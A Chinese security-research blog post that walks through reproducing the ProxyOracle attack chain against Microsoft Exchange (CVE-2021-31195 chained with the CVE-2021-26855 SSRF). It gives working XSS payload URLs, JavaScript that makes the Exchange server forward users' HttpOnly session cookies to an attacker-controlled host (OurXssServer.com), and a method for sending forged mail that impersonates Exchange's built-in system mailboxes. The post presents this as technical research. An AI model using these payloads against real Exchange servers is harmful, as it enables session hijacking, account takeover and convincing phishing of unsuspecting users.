【技术原创】ProxyOracle利用分析1——CVE-2021-31195 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

【技术原创】ProxyOracle利用分析1——CVE-2021-31195

3gstudent 技术 2021-09-26 11:25:00
收藏

导语:本文仅在技术研究的角度记录研究ProxyOracle中的细节,分析利用思路。

0x00 前言

我和Evi1cg一起复现了ProxyOracle攻击链,本文仅在技术研究的角度记录研究ProxyOracle中的细节,分析利用思路。

0x01 简介

本文将要介绍以下内容:

◼XSS复现

◼HttpOnly绕过

◼XSS平台搭建

◼伪造邮件

0x02 XSS复现

测试环境:

◼Exchange Server IP: 192.168.1.1

用户登录后访问如下链接:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.cookie)//

触发XSS,如下图

1.png

但是这里无法显示我们想要的Cookie数据,具体名称如下:

◼cadata

◼cadataTTL

◼cadataKey

◼cadataIV

◼cadataSig

查看以上Cookie的HttpOnly属性,如下图

2.png

可以看到以上Cookie设置了HttpOnly属性,可用来防止XSS攻击,通过js脚本将无法读取到Cookie信息。

0x03 HttpOnly绕过

为了能够读取受HttpOnly属性保护的Cookie信息,我们需要借助SSRF漏洞,控制Exchange服务器将Cookie信息发送至我们自己搭建的XSS平台。

这里需要注意以下细节:

1.SSRF漏洞的选择

(1)CVE-2021-26855

能够访问外部XSS平台

能够使用ajax模拟用户发包触发SSRF漏洞

(2)CVE-2021-28480

能够访问外部XSS平台

无法使用ajax模拟用户发包触发SSRF漏洞(无法修改Cookie中的X-BackEndCookie)

(3)CVE-2021-34473

无法访问外部XSS平台

因此,最终的选择为CVE-2021-26855

2.XSS平台搭建

由于我们借助了SSRF漏洞,控制Exchange服务器将Cookie信息发送至XSS平台,导致我们最终想要的Cookie信息位于Request Headers中

而现有的XSS平台大都是通过POST请求的参数来传递数据

为了解决这个问题,这里可以选择我之前开源的XSS平台,地址如下:

https://github.com/3gstudent/pyXSSPlatform

只需要修改以下位置:

◼修改index.js,使用ajax模拟用户发包触发SSRF漏洞

◼修改pyXSSPlatform.py,将GET请求的Request Headers进行提取

◼使用合法的证书

index.js代码示例:

var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();

3.XSS利用代码

控制用户访问XSS平台的代码示例:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//

0x04 伪造邮件

1.伪造成Exchange的默认用户

在之前的文章《ProxyShell利用分析1——CVE-2021-34473》中提到:通过CVE-2021-34473,我们可以模拟成任意用户身份进行EWS调用操作。

并且,Exchange中默认存在以下四个用户可供使用:

◼SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}

◼SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}

◼SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later)

◼SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later)

结合以上信息,我们可以模拟成Exchange的默认用户来发送邮件,对应名称如下:

◼SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}:Microsoft Exchange

◼SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}:Microsoft Exchange

◼SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later):E4E Encryption Store - Active

◼SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later):Microsoft Exchange

2.通过EWS发送超链接

格式参考:

https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createitem-operation-email-message

但是我没有找到通过EWS发送超链接的格式。

这里我是通过抓包的方式获得了正确的SOAP格式,方法可参考之前的文章《渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现》。

需要注意以下部分:

◼使用CreateItem发送邮件

◼SendOnly表示只发送邮件,不保存

◼BodyType需要设置为HTML

◼正文内容需要注意XML的转义字符

Python示例代码如下:

微信截图_20210925173925.png

0x05 小结

对于CVE-2021-31195,不仅可以用来获得用户的Cookie信息,同样可以使用其他XSS的利用方法,例如截取屏幕和模拟用户发包修改收件箱访问权限。

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论